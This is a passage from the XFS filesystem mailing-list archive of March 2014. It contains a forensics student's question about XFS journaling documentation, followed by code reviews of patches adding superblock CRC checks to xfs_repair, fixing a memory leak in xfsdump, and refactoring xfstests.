Content-Transfer-Encoding: 7bit Content-Disposition: inline Hello. My name is Yongmin Park and I am a graduated student in Ajou University (Korea). My research area is Digital Forensics. And this time i tried to understand the structure of XFS file system, because XFS is one of the famous huge file system in these days. I already founded and read 'XFS Filesystem Structure 2nd Edition Revision 1' on the Internet, which was written by Silicon Graphics Inc in 2006 and it is really well written to understand. But the concentrated part of mine is "Deleted File Recovery", so the Journaling part is really important for me,, but regretfully there are no specific guide line about Journaling part... Also next version(maybe the 3re Edition) is not exsist for more than a 5 years. So is there no guide line for journaling part in XFS? How can i get them,, have I to buy them? or Is Analysing Source Cord only way to study? Thank you for your concentration. ======================= from Yongmin Park ======================= --53183caf_614fd4a1_12f Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline

Hello.

My name i= s Yongmin Park and I am a graduated student in Ajou University (Korea).
My research area is Digital =46orensics.
And this time= i tried to understand the structure of X=46S file system, because X=46S = is one of the famous huge file system in these days.

=
I already founded and read 'X=46S =46ilesystem Structure 2nd Edition= Revision 1' on the Internet, which was written by Silicon Graphics Inc i= n 2006 and it is really well written to understand.

<= div>But the concentrated part of mine is =22Deleted =46ile Recovery=22, s= o the Journaling part is really important for me,, but regretfully there = are no specific guide line about Journaling part...
Also next v= ersion(maybe the 3re Edition) is not exsist for more than a 5 years.

So is there no guide line for journaling part in X=46= S=3F
How can i get them,, have I to buy them=3F or Is Analysing= Source Cord only way to study=3F

Thank you for = your concentration.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
        from Yongm= in Park 
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D

--53183caf_614fd4a1_12f-- From bfoster@redhat.com Thu Mar 6 10:02:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 133967F50 for ; Thu, 6 Mar 2014 10:02:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0C5AC304062 for ; Thu, 6 Mar 2014 08:02:03 -0800 (PST) X-ASG-Debug-ID: 1394121722-04cb6c56752f42b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id q487QzVTy4I4FBWd for ; Thu, 06 Mar 2014 08:02:03 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s26G1wJm027571 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 6 Mar 2014 11:01:59 -0500 Received: from laptop.bfoster (vpn-54-134.rdu2.redhat.com [10.10.54.134]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s26G1wXH009871; Thu, 6 Mar 2014 11:01:58 -0500 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id BAADF120B00; Thu, 6 Mar 2014 11:01:57 -0500 (EST) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s26G1uNc015803; Thu, 6 Mar 2014 11:01:56 -0500 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Thu, 6 Mar 2014 11:01:55 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 13/13] repair: phase 1 does not handle superblock CRCs Message-ID: <20140306160155.GA11842@laptop.bfoster> X-ASG-Orig-Subj: Re: [PATCH 13/13] repair: phase 1 does not handle superblock CRCs References: <1393923117-9559-1-git-send-email-david@fromorbit.com> <1393923117-9559-14-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393923117-9559-14-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394121722 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Mar 04, 2014 at 07:51:57PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Phase 1 of xfs_repair verifies and corrects the primary > superblock of the filesystem. It does not verify that the CRC of the > superblock that is found is correct, nor does it recalculate the CRC > of the superblock it rewrites. > > This happens because phase1 does not use the libxfs buffer cache - > it just uses pread/pwrite on a memory buffer, and works directly > from that buffer. Hence we need to add CRC verification to > verify_sb(), and CRC recalculation to write_primary_sb() so that it > works correctly. > > This also enables us to use get_sb() as the method of fetching the > superblock from disk after phase 1 without needing to use the libxfs > buffer cache and guessing at the sector size. This prevents a > verifier error because it attempts to CRC a superblock buffer that > is much longer than the usual sector sizes. > > Signed-off-by: Dave Chinner > --- > repair/agheader.c | 2 +- > repair/globals.h | 3 ++- > repair/phase1.c | 5 ++-- > repair/protos.h | 3 ++- > repair/sb.c | 71 +++++++++++++++++++++++++++++------------------------ > repair/xfs_repair.c | 26 +++++++++++--------- > 6 files changed, 62 insertions(+), 48 deletions(-) > > diff --git a/repair/agheader.c b/repair/agheader.c > index 53e47b6..fc5dac9 100644 > --- a/repair/agheader.c > +++ b/repair/agheader.c > @@ -472,7 +472,7 @@ verify_set_agheader(xfs_mount_t *mp, xfs_buf_t *sbuf, xfs_sb_t *sb, > int status = XR_OK; > int status_sb = XR_OK; > > - status = verify_sb(sb, (i == 0)); > + status = verify_sb(sbuf->b_addr, sb, (i == 0)); > > if (status != XR_OK) { > do_warn(_("bad on-disk superblock %d - %s\n"), > diff --git a/repair/globals.h b/repair/globals.h > index cbb2ce7..f6e0a22 100644 > --- a/repair/globals.h > +++ b/repair/globals.h > @@ -49,7 +49,8 @@ > #define XR_BAD_SB_UNIT 17 /* bad stripe unit */ > #define XR_BAD_SB_WIDTH 18 /* bad stripe width */ > #define XR_BAD_SVN 19 /* bad shared version number */ > -#define XR_BAD_ERR_CODE 20 /* Bad error code */ > +#define XR_BAD_CRC 20 /* Bad CRC */ > +#define XR_BAD_ERR_CODE 21 /* Bad error code */ > > /* XFS filesystem (il)legal values */ > > diff --git a/repair/phase1.c b/repair/phase1.c > index 62de211..ec75ada 100644 > --- a/repair/phase1.c > +++ b/repair/phase1.c > @@ -70,13 +70,14 @@ phase1(xfs_mount_t *mp) > ag_bp = alloc_ag_buf(MAX_SECTSIZE); > sb = (xfs_sb_t *) ag_bp; > > - if (get_sb(sb, 0LL, MAX_SECTSIZE, 0) == XR_EOF) > + rval = get_sb(sb, 0LL, MAX_SECTSIZE, 0); > + if (rval == XR_EOF) > do_error(_("error reading primary superblock\n")); > > /* > * is this really an sb, verify internal consistency > */ This comment can probably go away now. Otherwise, looks good... Reviewed-by: Brian Foster > - if ((rval = verify_sb(sb, 1)) != XR_OK) { > + if (rval != XR_OK) { > do_warn(_("bad primary superblock - %s !!!\n"), > err_string(rval)); > if (!find_secondary_sb(sb)) > diff --git a/repair/protos.h b/repair/protos.h > index 601f2a9..ff42fa7 100644 > --- a/repair/protos.h > +++ b/repair/protos.h > @@ -18,7 +18,8 @@ > > void xfs_init(libxfs_init_t *args); > > -int verify_sb(xfs_sb_t *sb, > +int verify_sb(char *sb_buf, > + xfs_sb_t *sb, > int is_primary_sb); > int verify_set_primary_sb(xfs_sb_t *root_sb, > int sb_index, > diff --git a/repair/sb.c b/repair/sb.c > index c54d89b..b111aca 100644 > --- a/repair/sb.c > +++ b/repair/sb.c > @@ -139,7 +139,7 @@ find_secondary_sb(xfs_sb_t *rsb) > c_bufsb = (char *)sb + i; > libxfs_sb_from_disk(&bufsb, (xfs_dsb_t *)c_bufsb); > > - if (verify_sb(&bufsb, 0) != XR_OK) > + if (verify_sb(c_bufsb, &bufsb, 0) != XR_OK) > continue; > > do_warn(_("found candidate secondary superblock...\n")); > @@ -245,7 +245,7 @@ sb_validate_ino_align(struct xfs_sb *sb) > */ > > int > -verify_sb(xfs_sb_t *sb, int is_primary_sb) > +verify_sb(char *sb_buf, xfs_sb_t *sb, int is_primary_sb) > { > __uint32_t bsize; > int i; > @@ -263,8 +263,34 @@ verify_sb(xfs_sb_t *sb, int is_primary_sb) > if (is_primary_sb && sb->sb_inprogress == 1) > return(XR_BAD_INPROGRESS); > > - /* check to make sure blocksize is legal 2^N, 9 <= N <= 16 */ > + /* > + * before going *any further*, validate the sector size and if the > + * version says we should have CRCs enabled, validate that. > + */ > + > + /* check to make sure sectorsize is legal 2^N, 9 <= N <= 15 */ > + if (sb->sb_sectsize == 0) > + return(XR_BAD_SECT_SIZE_DATA); > + > + bsize = 1; > + for (i = 0; bsize < sb->sb_sectsize && > + i < sizeof(sb->sb_sectsize) * NBBY; i++) { > + bsize <<= 1; > + } > + > + if (i < XFS_MIN_SECTORSIZE_LOG || i > XFS_MAX_SECTORSIZE_LOG) > + return(XR_BAD_SECT_SIZE_DATA); > + > + /* check sb sectorsize field against sb sectlog field */ > + if (i != sb->sb_sectlog) > + return(XR_BAD_SECT_SIZE_DATA); > + > + /* sector size in range - CRC check time */ > + if (xfs_sb_version_hascrc(sb) && > + !xfs_verify_cksum(sb_buf, sb->sb_sectsize, XFS_SB_CRC_OFF)) > + return XR_BAD_CRC; > > + /* check to make sure blocksize is legal 2^N, 9 <= N <= 16 */ > if (sb->sb_blocksize == 0) > return(XR_BAD_BLOCKSIZE); > > @@ -300,26 +326,6 @@ verify_sb(xfs_sb_t *sb, int is_primary_sb) > sb->sb_inopblock != howmany(sb->sb_blocksize,sb->sb_inodesize)) > return(XR_BAD_INO_SIZE_DATA); > > - /* check to make sure sectorsize is legal 2^N, 9 <= N <= 15 */ > - > - if (sb->sb_sectsize == 0) > - return(XR_BAD_SECT_SIZE_DATA); > - > - bsize = 1; > - > - for (i = 0; bsize < sb->sb_sectsize && > - i < sizeof(sb->sb_sectsize) * NBBY; i++) { > - bsize <<= 1; > - } > - > - if (i < XFS_MIN_SECTORSIZE_LOG || i > XFS_MAX_SECTORSIZE_LOG) > - return(XR_BAD_SECT_SIZE_DATA); > - > - /* check sb sectorsize field against sb sectlog field */ > - > - if (i != sb->sb_sectlog) > - return(XR_BAD_SECT_SIZE_DATA); > - > if (xfs_sb_version_hassector(sb)) { > > /* check to make sure log sector is legal 2^N, 9 <= N <= 15 */ > @@ -482,9 +488,11 @@ write_primary_sb(xfs_sb_t *sbp, int size) > do_error(_("couldn't seek to offset 0 in filesystem\n")); > } > > - > libxfs_sb_to_disk(buf, sbp, XFS_SB_ALL_BITS); > > + if (xfs_sb_version_hascrc(sbp)) > + xfs_update_cksum((char *)buf, size, XFS_SB_CRC_OFF); > + > if (write(x.dfd, buf, size) != size) { > free(buf); > do_error(_("primary superblock write failed!\n")); > @@ -494,7 +502,7 @@ write_primary_sb(xfs_sb_t *sbp, int size) > } > > /* > - * get a possible superblock -- don't check for internal consistency > + * get a possible superblock -- checks for internal consistency > */ > int > get_sb(xfs_sb_t *sbp, xfs_off_t off, int size, xfs_agnumber_t agno) > @@ -529,9 +537,10 @@ get_sb(xfs_sb_t *sbp, xfs_off_t off, int size, xfs_agnumber_t agno) > do_error("%s\n", strerror(error)); > } > libxfs_sb_from_disk(sbp, buf); > - free(buf); > > - return (verify_sb(sbp, 0)); > + rval = verify_sb((char *)buf, sbp, agno == 0); > + free(buf); > + return rval; > } > > /* returns element on list with highest reference count */ > @@ -745,13 +754,11 @@ verify_set_primary_sb(xfs_sb_t *rsb, > off = (xfs_off_t)agno * rsb->sb_agblocks << rsb->sb_blocklog; > > checked[agno] = 1; > - > - if (get_sb(sb, off, size, agno) == XR_EOF) { > - retval = XR_EOF; > + retval = get_sb(sb, off, size, agno); > + if (retval == XR_EOF) > goto out_free_list; > - } > > - if (verify_sb(sb, 0) == XR_OK) { > + if (retval == XR_OK) { > /* > * save away geometry info. > * don't bother checking the sb > diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c > index 6327076..08b25f0 100644 > --- a/repair/xfs_repair.c > +++ b/repair/xfs_repair.c > @@ -137,6 +137,8 @@ err_string(int err_code) > _("bad stripe width in superblock"); > err_message[XR_BAD_SVN] = > _("bad shared version number in superblock"); > + err_message[XR_BAD_CRC] = > + _("bad CRC in superblock"); > done = 1; > } > > @@ -529,6 +531,8 @@ main(int argc, char **argv) > xfs_buf_t *sbp; > xfs_mount_t xfs_m; > char *msgbuf; > + struct xfs_sb psb; > + int rval; > > progname = basename(argv[0]); > setlocale(LC_ALL, ""); > @@ -558,13 +562,12 @@ main(int argc, char **argv) > exit(1); > } > > - /* prepare the mount structure */ > - memset(&xfs_m, 0, sizeof(xfs_mount_t)); > - libxfs_buftarg_init(&xfs_m, x.ddev, x.logdev, x.rtdev); > - sbp = libxfs_readbuf(xfs_m.m_ddev_targp, XFS_SB_DADDR, > - 1 << (XFS_MAX_SECTORSIZE_LOG - BBSHIFT), 0, > - &xfs_sb_buf_ops); > - libxfs_sb_from_disk(&xfs_m.m_sb, XFS_BUF_TO_SBP(sbp)); > + rval = get_sb(&psb, 0, XFS_MAX_SECTORSIZE, 0); > + if (rval != XR_OK) { > + do_warn(_("Primary superblock bad after phase 1!\n" > + "Exiting now.\n")); > + exit(1); > + } > > /* > * if the sector size of the filesystem we are trying to repair is > @@ -583,7 +586,7 @@ main(int argc, char **argv) > geom.sectsize = BBSIZE; > } > > - if (xfs_m.m_sb.sb_sectsize < geom.sectsize) { > + if (psb.sb_sectsize < geom.sectsize) { > long old_flags; > > old_flags = fcntl(fd, F_GETFL, 0); > @@ -595,7 +598,10 @@ main(int argc, char **argv) > } > } > } > - mp = libxfs_mount(&xfs_m, &xfs_m.m_sb, x.ddev, x.logdev, x.rtdev, 0); > + > + /* prepare the mount structure */ > + memset(&xfs_m, 0, sizeof(xfs_mount_t)); > + mp = libxfs_mount(&xfs_m, &psb, x.ddev, x.logdev, x.rtdev, 0); > > if (!mp) { > fprintf(stderr, > @@ -603,8 +609,6 @@ main(int argc, char **argv) > progname); > exit(1); > } > - libxfs_putbuf(sbp); > - libxfs_purgebuf(sbp); > > /* > * set XFS-independent status vars from the mount/sb structure > -- > 1.9.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Mar 6 11:24:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A39547F50 for ; Thu, 6 Mar 2014 11:24:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 950A38F8068 for ; Thu, 6 Mar 2014 09:24:02 -0800 (PST) X-ASG-Debug-ID: 1394126641-04cb6c56772faa50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id BTwd3PzrNpp1RwAS for ; Thu, 06 Mar 2014 09:24:01 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s26HNxAc015883 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 6 Mar 2014 12:24:00 -0500 Received: from laptop.bfoster (vpn-54-134.rdu2.redhat.com [10.10.54.134]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s26HNw4o005205; Thu, 6 Mar 2014 12:23:59 -0500 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id 4BE31120B00; Thu, 6 Mar 2014 12:23:58 -0500 (EST) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s26HNvev016153; Thu, 6 Mar 2014 12:23:57 -0500 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Thu, 6 Mar 2014 12:23:56 -0500 From: Brian Foster To: Boris Ranto Cc: xfs@oss.sgi.com, branto@redhat.com Subject: Re: [PATCH] xfsdump: Fix memory leak in invutil/stobj.c Message-ID: <20140306172356.GB11842@laptop.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfsdump: Fix memory leak in invutil/stobj.c References: <1394050311-17965-1-git-send-email-ranto.boris@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394050311-17965-1-git-send-email-ranto.boris@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394126641 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Mar 05, 2014 at 09:11:51PM +0100, Boris Ranto wrote: > The function open_stobj duplicates its argument, upon successful > duplication, the fstat is called. If the fstat command fails then > the memory for the duplicated string is leaked. Fix this by moving > the string duplication after the fstat call. This is ok because > the fstat call does not use the duplicated string. > > Signed-off-by: Boris Ranto > --- The fix looks fine to me, but in the same scenario it looks like we also leak the fd. Care to clean that up in this patch as well? :) Brian > invutil/stobj.c | 12 ++++++------ > 1 files changed, 6 insertions(+), 6 deletions(-) > > diff --git a/invutil/stobj.c b/invutil/stobj.c > index 428b419..55abe63 100644 > --- a/invutil/stobj.c > +++ b/invutil/stobj.c > @@ -578,12 +578,6 @@ open_stobj(char *StObjFileName) > return fd; > } > > - name = strdup(StObjFileName); > - if(name == NULL) { > - fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); > - exit(1); > - } > - > read_n_bytes(fd, &cnt, sizeof(invt_sescounter_t), StObjFileName); > lseek( fd, 0, SEEK_SET ); > errno = 0; > @@ -595,6 +589,12 @@ open_stobj(char *StObjFileName) > size = sb.st_size; > mapaddr = mmap_n_bytes(fd, size, BOOL_FALSE, StObjFileName); > > + name = strdup(StObjFileName); > + if(name == NULL) { > + fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); > + exit(1); > + } > + > return add_stobj(name, fd, size, mapaddr, (invt_sescounter_t *)mapaddr); > } > > -- > 1.7.1 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 6 11:44:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AADF97F50 for ; Thu, 6 Mar 2014 11:44:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 88A28304070 for ; Thu, 6 Mar 2014 09:44:23 -0800 (PST) X-ASG-Debug-ID: 1394127861-04bdf05dac31e600001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 5jo91GfINk6pS1uJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Mar 2014 09:44:21 -0800 (PST) X-Barracuda-Envelope-From: BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLcLE-0007NJ-4r; Thu, 06 Mar 2014 17:44:20 +0000 Date: Thu, 6 Mar 2014 09:44:20 -0800 From: Christoph Hellwig To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH v2 1/8] xfstests: Create single function for testing xfs_io commands Message-ID: <20140306174420.GA28297@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 1/8] xfstests: Create single function for testing xfs_io commands References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> <1394034699-21187-2-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394034699-21187-2-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394127861 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3656 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Mar 05, 2014 at 04:51:32PM +0100, Lukas Czerner wrote: > Currently there are several function testing various xfs_io commands. > This commit creates _require_xfs_io_command() to test any xfs_command. Looks good. Do you plan to keep the wrappers around _require_xfs_io_command in the long run or just for a transitional period? Reviewed-by: Christoph Hellwig From BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 6 11:45:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5CDE17F50 for ; Thu, 6 Mar 2014 11:45:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EB632AC005 for ; Thu, 6 Mar 2014 09:45:43 -0800 (PST) X-ASG-Debug-ID: 1394127942-04cbb054b8107e60001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id MIbCTJbmE6f7aSD4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Mar 2014 09:45:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLcMX-0008Qr-Se; Thu, 06 Mar 2014 17:45:41 +0000 Date: Thu, 6 Mar 2014 09:45:41 -0800 From: Christoph Hellwig To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH v2 2/8] xfstests: create _test_block_boundaries in common/punch Message-ID: <20140306174541.GB28297@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 2/8] xfstests: create _test_block_boundaries in common/punch References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> <1394034699-21187-3-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394034699-21187-3-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394127942 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3656 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, but having a comment explaining the function would be helpful given that the name isn't entirely self-describing. Reviewed-by: Christoph Hellwig From BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 6 11:46:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 283DE7F50 for ; Thu, 6 Mar 2014 11:46:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 03D31304070 for ; Thu, 6 Mar 2014 09:46:25 -0800 (PST) X-ASG-Debug-ID: 1394127983-04bdf05dac31e900001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 86TGwAHdgIJ14WCY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Mar 2014 09:46:23 -0800 (PST) X-Barracuda-Envelope-From: BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLcND-0008SW-7z; Thu, 06 Mar 2014 17:46:23 +0000 Date: Thu, 6 Mar 2014 09:46:23 -0800 From: Christoph Hellwig To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH v2 3/8] generic/008: Add test for fallocate zero range at block boundary Message-ID: <20140306174623.GC28297@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 3/8] generic/008: Add test for fallocate zero range at block boundary References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> <1394034699-21187-4-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394034699-21187-4-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394127983 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3656 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words Looks good, Reviewed-by: Christoph Hellwig From BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 6 11:47:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 540837F50 for ; Thu, 6 Mar 2014 11:47:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 40C5E304075 for ; Thu, 6 Mar 2014 09:47:02 -0800 (PST) X-ASG-Debug-ID: 1394128020-04cb6c56772fc700001-NocioJ Received: from bombadil.infradead.org 